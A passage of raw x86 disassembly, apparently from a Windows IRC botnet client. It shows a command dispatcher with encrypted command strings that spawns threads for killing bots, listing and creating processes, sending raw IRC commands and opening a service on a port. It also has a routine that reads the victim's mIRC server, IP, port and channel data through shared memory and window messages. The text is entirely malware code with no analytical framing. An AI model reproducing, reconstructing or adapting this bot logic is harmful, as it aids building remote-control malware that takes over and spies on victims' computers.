[ebp+var_C], eax mov dword ptr [ebp+var_C+4], edx fild [ebp+var_C] push ecx push ecx ; double fstp [esp+14h+var_14] call sub_42A706 pop ecx pop ecx call sub_42A9E0 jmp short loc_40C334 ; --------------------------------------------------------------------------- loc_40C32E: ; CODE XREF: sub_40A9FE+18EEj ; sub_40A9FE+18F5j ... call dword_437188 ; GetTickCount loc_40C334: ; CODE XREF: sub_40A9FE+192Ej xor ebx, ebx mov edi, eax inc ebx push ebx push 0 push edi call sub_41B9F8 push eax lea eax, [ebp+var_D90] push eax call sub_429B03 push ebx push dword_457E58 push edi call sub_41B9F8 push eax lea eax, [ebp+var_D28] push eax call sub_429B03 push ebx push dword_457F60 push edi call sub_41B9F8 push eax lea eax, [ebp+var_D5C] push eax call sub_429B03 mov edi, 2710h lea eax, [ebp+var_6B4A0] push edi push 0 push eax call sub_429760 add esp, 48h push 8 call sub_423800 test eax, eax pop ecx jle short loc_40C3B9 push 0Dh call sub_423800 cmp eax, ebx pop ecx jge short loc_40C3B9 push offset aTarxm0mtxpp_ ; "tArXm0mtxpp." jmp short loc_40C40D ; --------------------------------------------------------------------------- loc_40C3B9: ; CODE XREF: sub_40A9FE+19A6j ; sub_40A9FE+19B2j push 0Dh call sub_423800 test eax, eax pop ecx jle short loc_40C3D8 push 8 call sub_423800 cmp eax, ebx pop ecx jge short loc_40C3D8 push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1" jmp short loc_40C40D ; --------------------------------------------------------------------------- loc_40C3D8: ; CODE XREF: sub_40A9FE+19C5j ; sub_40A9FE+19D1j push 0Dh call sub_423800 test eax, eax pop ecx jg short loc_40C41F push 8 call sub_423800 test eax, eax pop ecx jg short loc_40C41F push 0Dh call sub_423800 cmp eax, ebx pop ecx jl short loc_40C408 push 8 call sub_423800 cmp eax, ebx pop ecx jge short loc_40C43E loc_40C408: ; CODE XREF: sub_40A9FE+19FCj push offset aPJs70eukyp0 ; "P/JS70EukYp0" loc_40C40D: ; CODE XREF: sub_40A9FE+19B9j ; sub_40A9FE+19D8j lea eax, [ebp+var_6B4A0] push edi push eax call sub_429BBE add esp, 0Ch jmp short loc_40C43E ; --------------------------------------------------------------------------- loc_40C41F: ; CODE XREF: sub_40A9FE+19E4j ; sub_40A9FE+19F0j push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1" push offset aTarxm0mtxpp_ ; "tArXm0mtxpp." push offset aSAndS ; "%s and %s" lea eax, [ebp+var_6B4A0] push edi push eax call sub_429BBE add esp, 14h loc_40C43E: ; CODE XREF: sub_40A9FE+1A08j ; sub_40A9FE+1A1Fj lea eax, [ebp+var_D5C] lea ecx, [ebp+var_D90] push eax lea eax, [ebp+var_D28] push offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY." push eax mov eax, offset aNI427pnt0 ; "n/i4//27pnT0" cmp [ebp+arg_18], 0 push eax push ecx push eax lea eax, [ebp+var_6B4A0] push offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1" push eax push offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0" push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSSSSSSSSS ; "%s %s %s, %s %s (%s), %s (%s), %s (%s)" jnz short loc_40C48D push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C48D: ; CODE XREF: sub_40A9FE+1A80j push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 loc_40C497: ; CODE XREF: sub_40A9FE+1A8Dj add esp, 34h mov eax, ebx jmp loc_414998 ; --------------------------------------------------------------------------- loc_40C4A1: ; CODE XREF: sub_40A9FE+18CFj push dword ptr [ebx] push offset aPnb_aBfzu60_0 ; "pNb.a/Bfzu60" call edi ; dword_437178 test eax, eax jnz loc_40C570 xor edi, edi push 1 push edi call dword_437188 ; GetTickCount push eax call sub_41B9F8 push eax push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" lea eax, [ebp+var_57C20] push offset aSUptimeS_ ; "%s UpTime: (%s)." push eax call sub_429B03 add esp, 1Ch cmp dword_457034, edi jnz short loc_40C51F call sub_41BC0B cmp eax, edi mov dword_457FD8, eax jnz short loc_40C518 call sub_41BB89 push eax push offset aRecordUptimeS_ ; ", Record UpTime: (%s)." lea eax, [ebp+var_1D78] push 32h push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_1D78] push eax jmp short loc_40C524 ; --------------------------------------------------------------------------- loc_40C518: ; CODE XREF: sub_40A9FE+1AF3j push offset aRecord ; ", (Record)" jmp short loc_40C524 ; --------------------------------------------------------------------------- loc_40C51F: ; CODE XREF: sub_40A9FE+1AE5j push offset dword_43AB8C loc_40C524: ; CODE XREF: sub_40A9FE+1B18j ; sub_40A9FE+1B1Fj lea eax, [ebp+var_57C20] push eax call dword_437090 ; lstrcatA cmp [ebp+arg_14], edi jnz short loc_40C550 cmp [ebp+arg_18], edi jnz short loc_40C559 lea eax, [ebp+var_57C20] push eax push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 0Ch loc_40C550: ; CODE XREF: sub_40A9FE+1B36j cmp [ebp+arg_18], edi jz loc_414995 loc_40C559: ; CODE XREF: sub_40A9FE+1B3Bj lea eax, [ebp+var_57C20] push eax push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CDD4 jmp loc_40D35F ; --------------------------------------------------------------------------- loc_40C570: ; CODE XREF: sub_40A9FE+1AAEj push dword ptr [ebx] push offset aI7atf_8Tag1 ; "i7Atf.8/tag1" call edi ; dword_437178 test eax, eax jnz loc_40C60F cmp dword_457034, eax jnz short loc_40C5CC cmp [ebp+arg_14], eax mov edi, offset aSSS_0 ; "%s %s (%s)" mov ebx, offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/" jnz short loc_40C5B9 cmp [ebp+arg_18], eax jnz short loc_40C5C2 push offset dword_676418 push ebx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h xor eax, eax loc_40C5B9: ; CODE XREF: sub_40A9FE+1B98j cmp [ebp+arg_18], eax jz loc_414995 loc_40C5C2: ; CODE XREF: sub_40A9FE+1B9Dj push offset dword_676418 jmp loc_40B398 ; --------------------------------------------------------------------------- loc_40C5CC: ; CODE XREF: sub_40A9FE+1B89j cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1" jnz short loc_40C5F7 cmp [ebp+arg_18], eax jnz short loc_40C600 push ebx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h xor eax, eax loc_40C5F7: ; CODE XREF: sub_40A9FE+1BDBj cmp [ebp+arg_18], eax jz loc_414995 loc_40C600: ; CODE XREF: sub_40A9FE+1BE0j push ebx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push dword ptr [esi+0Ch] jmp loc_414793 ; --------------------------------------------------------------------------- loc_40C60F: ; CODE XREF: sub_40A9FE+1B7Dj push dword ptr [ebx] push offset aVp1weJvqbn_ ; "VP1WE/JVQbn." call edi ; dword_437178 test eax, eax jnz loc_40C6EE push 4 call sub_42381F xor edi, edi pop ecx cmp eax, edi mov [ebp+arg_C], eax jle short loc_40C63B mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9FE+1C31j mov eax, [ebp+arg_10] push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aS2maintenance_ ; "%s /2Maintenance./2" push 4 mov [ebp+var_2638], eax call sub_4234A7 add esp, 0Ch mov [ebp+var_25B4], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_2638] push edi push eax push offset sub_41EBE9 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_25B4] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_414995 cmp [ebp+arg_14], 0 mov ebx, offset aSS_ ; "%s %s." mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" jnz short loc_40C6BC cmp [ebp+arg_18], 0 jnz short loc_40C6C2 push edi push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40C6BC: ; CODE XREF: sub_40A9FE+1CA1j cmp [ebp+arg_18], 0 jz short loc_40C6E0 loc_40C6C2: ; CODE XREF: sub_40A9FE+1CA7j push edi push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h jmp short loc_40C6E0 ; --------------------------------------------------------------------------- loc_40C6D8: ; CODE XREF: sub_40A9FE+1CE9j push 32h call dword_437190 ; Sleep loc_40C6E0: ; CODE XREF: sub_40A9FE+1CC2j ; sub_40A9FE+1CD8j cmp [ebp+var_257C], 0 jz short loc_40C6D8 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40C6EE: ; CODE XREF: sub_40A9FE+1C1Cj push dword ptr [ebx] push offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_40C707 push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push 4 jmp loc_412CA1 ; --------------------------------------------------------------------------- loc_40C707: ; CODE XREF: sub_40A9FE+1CFBj push dword ptr [ebx] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call edi ; dword_437178 test eax, eax jz loc_4147A3 push dword ptr [ebx] push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" call edi ; dword_437178 test eax, eax jz loc_4147A3 push dword ptr [ebx] push offset a47ff020f_0_ ; "47Ff/020f.0." call edi ; dword_437178 test eax, eax jnz loc_40C840 mov eax, [ebp+arg_10] push offset dword_443F1C mov [ebp+var_CE4], eax mov eax, [ebp+arg_14] mov [ebp+var_C58], eax mov eax, [ebp+arg_18] mov [ebp+var_C54], eax mov eax, [ebp+arg_20] mov [ebp+var_C50], eax lea eax, [ebp+var_CE0] push eax call dword_4370B4 ; lstrcpyA mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20" push ebx push offset aSBkillThread_ ; "%s BKill thread." push 1 call sub_4234A7 add esp, 0Ch cmp [ebp+arg_14], 0 mov [ebp+var_C60], eax mov edi, offset aSBkillS ; "%s BKill %s" jnz short loc_40C7B1 cmp [ebp+arg_18], 0 jnz short loc_40C7B7 push offset a5oke1awbzq ; "5OkE/1AWBZq/" push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40C7B1: ; CODE XREF: sub_40A9FE+1D96j cmp [ebp+arg_18], 0 jz short loc_40C7CB loc_40C7B7: ; CODE XREF: sub_40A9FE+1D9Cj push offset a5oke1awbzq ; "5OkE/1AWBZq/" push ebx push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h loc_40C7CB: ; CODE XREF: sub_40A9FE+1DB7j lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_CE4] push edi push eax push offset sub_41F0F5 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_C60] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_40C833 loc_40C7FC: ; CODE XREF: sub_40A9FE+1FF7j ; sub_40A9FE+212Fj ... cmp [ebp+arg_14], 0 mov edi, offset aSSD_ ; "%s %s (%d)." jnz loc_40C21A cmp [ebp+arg_18], 0 jnz loc_41490F call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push ebx push edi push dword ptr [esi+0Ch] jmp loc_40C20F ; --------------------------------------------------------------------------- loc_40C82B: ; CODE XREF: sub_40A9FE+1E3Bj push 32h call dword_437190 ; Sleep loc_40C833: ; CODE XREF: sub_40A9FE+1DFCj cmp [ebp+var_C4C], edi jz short loc_40C82B jmp loc_414995 ; --------------------------------------------------------------------------- loc_40C840: ; CODE XREF: sub_40A9FE+1D36j push dword ptr [ebx] push offset aHyomeIovtv_ ; "HyOMe/iovtV." call edi ; dword_437178 test eax, eax jnz loc_40CB55 xor ecx, ecx cmp [ebx+4], ecx jnz short loc_40C897 cmp [ebp+arg_14], ecx mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40C881 cmp [ebp+arg_18], ecx loc_40C86A: ; CODE XREF: sub_40A9FE+1F53j ; sub_40A9FE+1F93j jnz short loc_40C88B push ebx push offset aAl_N0kenp20 ; "Al./N0Kenp20" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40C881: ; CODE XREF: sub_40A9FE+1E67j ; sub_40A9FE+1F4Aj ... cmp [ebp+arg_18], 0 loc_40C885: ; CODE XREF: sub_40A9FE+2068j jz loc_414995 loc_40C88B: ; CODE XREF: sub_40A9FE:loc_40C86Aj ; sub_40A9FE+2048j push ebx push offset aAl_N0kenp20 ; "Al./N0Kenp20" loc_40C891: ; CODE XREF: sub_40A9FE+483Fj ; sub_40A9FE+496Dj ... push edi jmp loc_414791 ; --------------------------------------------------------------------------- loc_40C897: ; CODE XREF: sub_40A9FE+1E58j mov eax, [ebp+arg_14] mov edx, [ebp+arg_20] mov [ebp+var_428], eax mov eax, [ebp+arg_18] mov [ebp+var_424], eax cmp eax, ecx mov [ebp+var_42C], edx lea eax, [ebp+var_4D8] jnz short loc_40C8C1 push dword ptr [esi+0Ch] jmp short loc_40C8C3 ; --------------------------------------------------------------------------- loc_40C8C1: ; CODE XREF: sub_40A9FE+1EBCj push dword ptr [esi] loc_40C8C3: ; CODE XREF: sub_40A9FE+1EC1j push eax call dword_4370B4 ; lstrcpyA xor eax, eax mov [ebp+var_448], eax mov [ebp+var_444], eax mov [ebp+var_440], eax mov eax, [ebp+arg_10] mov [ebp+var_4DC], eax push dword ptr [ebx+4] push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1" call edi ; dword_437178 test eax, eax jnz short loc_40C926 push 2 call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40C90E mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40C90E: ; CODE XREF: sub_40A9FE+1F04j mov [ebp+var_448], 1 mov ebx, [ebx+8] mov [ebp+var_450], ebx jmp loc_40C9AB ; --------------------------------------------------------------------------- loc_40C926: ; CODE XREF: sub_40A9FE+1EF5j push dword ptr [ebx+4] push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1" call edi ; dword_437178 test eax, eax jnz short loc_40C962 mov ebx, [ebx+8] cmp ebx, eax jnz short loc_40C956 cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz loc_40C881 cmp [ebp+arg_18], eax jmp loc_40C86A ; --------------------------------------------------------------------------- loc_40C956: ; CODE XREF: sub_40A9FE+1F3Bj mov [ebp+var_444], 1 jmp short loc_40C99F ; --------------------------------------------------------------------------- loc_40C962: ; CODE XREF: sub_40A9FE+1F34j push dword ptr [ebx+4] push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0" call edi ; dword_437178 test eax, eax jnz loc_40CA1D mov ebx, [ebx+8] test ebx, ebx jnz short loc_40C996 cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz loc_40C881 cmp [ebp+arg_18], eax jmp loc_40C86A ; --------------------------------------------------------------------------- loc_40C996: ; CODE XREF: sub_40A9FE+1F7Bj xor eax, eax inc eax mov [ebp+var_444], eax loc_40C99F: ; CODE XREF: sub_40A9FE+1F62j mov [ebp+var_454], ebx mov [ebp+var_440], eax loc_40C9AB: ; CODE XREF: sub_40A9FE+1F23j mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20" push ebx push offset aSProcs ; "%s Procs" push 2 call sub_4234A7 add esp, 0Ch mov [ebp+var_458], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_4DC] push edi push eax push offset sub_41F876 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_458] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_40C7FC cmp [ebp+var_420], edi jnz loc_414995 loc_40CA07: ; CODE XREF: sub_40A9FE+2018j push 32h call dword_437190 ; Sleep cmp [ebp+var_420], 0 jz short loc_40CA07 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40CA1D: ; CODE XREF: sub_40A9FE+1F70j push dword ptr [ebx+4] push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1" call edi ; dword_437178 test eax, eax jnz loc_414995 cmp [ebx+8], eax jnz short loc_40CA6B cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40CA63 cmp [ebp+arg_18], eax jnz loc_40C88B push ebx push offset aAl_N0kenp20 ; "Al./N0Kenp20" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h xor eax, eax loc_40CA63: ; CODE XREF: sub_40A9FE+2043j cmp [ebp+arg_18], eax jmp loc_40C885 ; --------------------------------------------------------------------------- loc_40CA6B: ; CODE XREF: sub_40A9FE+2034j xor ecx, ecx inc ecx cmp [ebx+0Ch], eax jz short loc_40CA79 mov [ebp+var_448], ecx loc_40CA79: ; CODE XREF: sub_40A9FE+2073j cmp [ebp+arg_3C], eax jz short loc_40CA84 mov [ebp+var_444], ecx loc_40CA84: ; CODE XREF: sub_40A9FE+207Ej push dword ptr [ebx+8] lea eax, [ebp+var_63D4] push eax call sub_429B03 xor edi, edi pop ecx cmp [ebp+arg_34], edi pop ecx jz short loc_40CAD7 cmp [ebp+arg_38], 0 mov bl, 5Fh jz short loc_40CAA7 mov bl, [ebp+arg_38] loc_40CAA7: ; CODE XREF: sub_40A9FE+20A4j push [ebp+var_454] call sub_4293A0 test eax, eax pop ecx jbe short loc_40CAD7 loc_40CAB7: ; CODE XREF: sub_40A9FE+20D7j mov eax, [ebp+var_454] add eax, edi cmp [eax], bl jnz short loc_40CAC6 mov byte ptr [eax], 20h loc_40CAC6: ; CODE XREF: sub_40A9FE+20C3j push [ebp+var_454] inc edi call sub_4293A0 cmp edi, eax pop ecx jb short loc_40CAB7 loc_40CAD7: ; CODE XREF: sub_40A9FE+209Cj ; sub_40A9FE+20B7j mov ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_63D4] push ebx push offset aSCreateProcess ; "%s Create process thread." push 2 mov [ebp+var_454], eax call sub_4234A7 add esp, 0Ch mov [ebp+var_458], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_4DC] push edi push eax push offset sub_41F533 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_458] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_40C7FC cmp [ebp+var_420], edi jnz loc_414995 loc_40CB3F: ; CODE XREF: sub_40A9FE+2150j push 32h call dword_437190 ; Sleep cmp [ebp+var_420], 0 jz short loc_40CB3F jmp loc_414995 ; --------------------------------------------------------------------------- loc_40CB55: ; CODE XREF: sub_40A9FE+1E4Dj push dword ptr [ebx] push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" call edi ; dword_437178 test eax, eax jnz loc_40CD08 push 0Ch call sub_42381F test eax, eax pop ecx mov ebx, offset aJt17j1imtvd1 ; "jt17J1ImTVD1" jle short loc_40CB93 push ebx push 0Ch push 0 push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [esi+0Ch] call sub_423654 add esp, 20h loc_40CB93: ; CODE XREF: sub_40A9FE+2177j cmp dword_457F68, 0 jnz short loc_40CBB4 call sub_429B9C cdq mov ecx, 0BBFFh idiv ecx add edx, 66h mov dword_45643C, edx jmp short loc_40CBC0 ; --------------------------------------------------------------------------- loc_40CBB4: ; CODE XREF: sub_40A9FE+219Cj movzx eax, word_44399A mov dword_45643C, eax loc_40CBC0: ; CODE XREF: sub_40A9FE+21B4j and dword_456438, 0 mov edi, offset dword_45622C push 104h push edi push 0 call dword_43717C ; GetModuleFileNameA push 103h push offset dword_4439A8 push offset dword_456330 call sub_429D10 and dword_4564CC, 0 push 7Fh push offset dword_443F14 push offset dword_456440 call sub_429D10 mov eax, [ebp+arg_14] push edi push offset a8cbgoRjryr_ ; "8CBGO/rJRYr." mov dword_454A48, eax mov eax, [ebp+arg_18] push dword_45643C mov dword_454A50, eax mov eax, [ebp+arg_20] push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push offset a5oke1awbzq ; "5OkE/1AWBZq/" mov dword_454A4C, eax mov eax, [ebp+arg_10] push ebx push offset aSSOnSISS_ ; "%s %s on %s: %i, %s: %s." push 0Ch mov dword_4564D0, eax call sub_4234A7 add esp, 38h mov dword_456434, eax lea eax, [ebp+arg_0] xor edi, edi push eax push edi push offset dword_456228 push offset sub_402CE9 push edi push edi call dword_437180 ; CreateThread mov ecx, dword_456434 imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_40C7FC jmp short loc_40CC8E ; --------------------------------------------------------------------------- loc_40CC86: ; CODE XREF: sub_40A9FE+2297j push 32h call dword_437190 ; Sleep loc_40CC8E: ; CODE XREF: sub_40A9FE+2286j cmp dword_4564CC, 0 jz short loc_40CC86 xor eax, eax mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" cmp [ebp+arg_14], eax jnz short loc_40CCD7 cmp [ebp+arg_18], eax jnz short loc_40CCE1 cmp [ebp+arg_1C], eax jnz loc_414995 push dword_456434 push dword_45643C push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push edi push ebx push offset aSSOnSIThreadNu ; "%s %s on %s: %i, thread number: %i." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 20h loc_40CCD7: ; CODE XREF: sub_40A9FE+22A3j cmp [ebp+arg_18], 0 jz loc_414995 loc_40CCE1: ; CODE XREF: sub_40A9FE+22A8j push dword_456434 push dword_45643C push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push edi push ebx push offset aSSOnSIThreadNu ; "%s %s on %s: %i, thread number: %i." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 jmp loc_412CB7 ; --------------------------------------------------------------------------- loc_40CD08: ; CODE XREF: sub_40A9FE+2162j push dword ptr [ebx] push offset aAjttz06ztse1 ; "ajTtz06Ztse1" call edi ; dword_437178 test eax, eax jnz short loc_40CD2B mov ecx, [ebp+arg_10] call sub_41DB58 mov ecx, [ebp+arg_10] push eax call sub_41CF25 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40CD2B: ; CODE XREF: sub_40A9FE+2315j push dword ptr [ebx] push offset aUn3hk0sn58o ; "uN3hk0sn58o/" call edi ; dword_437178 test eax, eax jnz short loc_40CD5A mov eax, [ebx+4] test eax, eax jz short loc_40CD94 mov ebx, [ebx+8] test ebx, ebx jnz short loc_40CD4B mov ebx, offset byte_454A54 loc_40CD4B: ; CODE XREF: sub_40A9FE+2346j mov ecx, [ebp+arg_10] push ebx push eax call sub_41D09B jmp loc_414995 ; --------------------------------------------------------------------------- loc_40CD5A: ; CODE XREF: sub_40A9FE+2338j push dword ptr [ebx] push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_40CD7C mov ebx, [ebx+4] test ebx, ebx jz short loc_40CD94 mov ecx, [ebp+arg_10] push ebx call sub_41D0C6 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40A9FE+2367j push dword ptr [ebx] push offset aBvuso0ed3mw ; "bVUSO0ed3MW/" call edi ; dword_437178 test eax, eax jnz loc_40CE48 mov eax, [ebx+4] test eax, eax jnz short loc_40CD9E loc_40CD94: ; CODE XREF: sub_40A9FE+233Fj ; sub_40A9FE+236Ej mov edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_40CD9E: ; CODE XREF: sub_40A9FE+2394j push eax lea eax, [ebp+var_443A0] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 2 pop edi cmp [ebp+arg_4], edi jle short loc_40CDF5 loc_40CDBB: ; CODE XREF: sub_40A9FE+23F5j mov eax, [ebx+edi*4] test eax, eax jz short loc_40CDEF push eax lea eax, [ebp+var_15D70] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_15D70] push 2710h push eax lea eax, [ebp+var_443A0] push eax call sub_4299E0 add esp, 18h loc_40CDEF: ; CODE XREF: sub_40A9FE+23C2j inc edi cmp edi, [ebp+arg_4] jl short loc_40CDBB loc_40CDF5: ; CODE XREF: sub_40A9FE+23BBj lea eax, [ebp+var_443A0] push eax push [ebp+arg_10] call sub_41D0ED cmp [ebp+arg_14], 0 pop ecx pop ecx mov edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60" mov ebx, offset aSSentIrcRawS_ ; "%s Sent IRC raw: \"%s\"." jnz short loc_40CE33 cmp [ebp+arg_18], 0 jnz short loc_40CE3D lea eax, [ebp+var_443A0] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40CE33: ; CODE XREF: sub_40A9FE+2416j cmp [ebp+arg_18], 0 jz loc_414995 loc_40CE3D: ; CODE XREF: sub_40A9FE+241Cj lea eax, [ebp+var_443A0] jmp loc_40B0F9 ; --------------------------------------------------------------------------- loc_40CE48: ; CODE XREF: sub_40A9FE+2389j push dword ptr [ebx] push offset aM1d_716jg1r1 ; "M1d.716Jg1r1" call edi ; dword_437178 test eax, eax jnz loc_40D212 mov eax, [ebx+4] test eax, eax jnz loc_40D178 mov edi, offset aMirc ; "mIRC" push eax push edi call dword_456F44 ; FindWindowA test eax, eax mov [ebp+arg_4], eax jz loc_40D13B push edi xor edi, edi push 1000h push edi push 4 push edi push 0FFFFFFFFh call dword_4370C8 ; CreateFileMappingA push edi push edi push edi push 0F001Fh push eax mov [ebp+arg_68], eax call dword_437040 ; MapViewOfFile mov [ebp+arg_C], eax push 10h lea eax, [ebp+var_314] push edi push eax call sub_429760 push offset aVersion ; "$version" push [ebp+arg_C] call sub_429B03 add esp, 14h mov ebx, 4C9h push edi push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] mov edi, offset aS_5 ; "%s" lea eax, [ebp+var_314] push edi push 10h push eax call sub_429BBE push 10h lea eax, [ebp+var_2E4] push 0 push eax call sub_429760 push offset off_4416C0 push [ebp+arg_C] call sub_429B03 add esp, 24h push 0 push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_2E4] push edi push 10h push eax call sub_429BBE push 9Fh lea eax, [ebp+var_2C20] push 0 push eax call sub_429760 push offset aServer_0 ; "$server" push [ebp+arg_C] call sub_429B03 add esp, 24h push 0 push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_2C20] push edi push 9Fh push eax call sub_429BBE push 10h push 0 lea eax, [ebp+var_304] push eax call sub_429760 push offset aServerip ; "$serverip" push [ebp+arg_C] call sub_429B03 add esp, 24h push 0 push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_304] push edi push 10h push eax call sub_429BBE push 8 lea eax, [ebp+var_58] push 0 push eax call sub_429760 push offset aPort_0 ; "$port" push [ebp+arg_C] call sub_429B03 add esp, 24h push 0 push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_58] push edi push 8 push eax call sub_429BBE push 2710h lea eax, [ebp+var_18480] push 0 push eax call sub_429760 push offset aChan0 ; "$chan(0)" push [ebp+arg_C] call sub_429B03 add esp, 24h xor edi, edi inc edi push 0 push edi push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_174] push 10h push eax call sub_429BBE lea eax, [ebp+var_174] push eax call sub_42A100 add esp, 10h cmp eax, edi jl loc_40D0D6 loc_40D048: ; CODE XREF: sub_40A9FE+26D2j push edi push offset aChanI ; "$chan(%i)" push [ebp+arg_C] call sub_429B03 add esp, 0Ch push 0 push 1 push ebx push [ebp+arg_4] call dword_456F9C ; SendMessageA push [ebp+arg_C] lea eax, [ebp+var_18480] push eax call sub_42A5E0 lea eax, [ebp+var_174] push eax call sub_42A100 add esp, 0Ch cmp edi, eax jge short loc_40D09C lea eax, [ebp+var_18480] push offset asc_441410 ; ", " push eax call sub_42A5E0 pop ecx pop ecx loc_40D09C: ; CODE XREF: sub_40A9FE+2689j lea eax, [ebp+var_174] push eax call sub_42A100 cmp edi, eax pop ecx jnz short loc_40D0C0 lea eax, [ebp+var_18480] push offset dword_43AB8C push eax call sub_42A5E0 pop ecx pop ecx loc_40D0C0: ; CODE XREF: sub_40A9FE+26ADj lea eax, [ebp+var_174] inc 